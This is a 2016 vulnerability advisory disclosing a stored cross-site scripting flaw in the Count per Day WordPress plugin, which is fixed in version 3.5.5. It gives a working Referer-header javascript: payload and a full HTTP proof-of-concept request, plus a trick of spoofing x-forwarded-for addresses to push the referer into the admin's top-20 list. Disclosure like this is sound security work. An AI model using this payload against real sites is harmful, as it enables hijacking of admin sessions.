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Stored Cross-Site Scripting vulnerability in Count per Day WordPress
Plugin
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Julien Rentrop, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Count per Day
WordPress Plugin. This issue can be exploited by an unauthenticated
attacker and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf. In order to exploit this issue, the attacker has to
lure/force a victim into opening a malicious website/link.

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OVE ID
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OVE-20160717-0001

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Tested versions
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This issue was successfully tested on Count per Day WordPress Plugin
version 3.5.4.

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Fix
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This issue is resolved in Count per Day version 3.5.5.

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Details
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https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_count_per_day_wordpress_plugin.html

When manipulating the referer header by putting in javascript: it will be rendered on the admin page within the referers list as a a href attribute. When admin (or above author level) clicks on it the XSS gets executed.

Tags get stripped so it's not possible to execute the XSS directly on load. Single and double quotes are escaped, but can be worked around. Example:

Referer: javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))



The referer list shows the top 20. But its easy to get your attack referer in the top by just looping with unique x-forwarded-for ip's. By default referers are stored (but can be turned off in the settings of the plugin). Up to 150 chars of the referer are stored (can be changed to 500 max).

Proof of concept

GET / HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,nl;q=0.6
x-forwarded-for: 1.1.1.5
Referer: javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))
Connection: close

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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.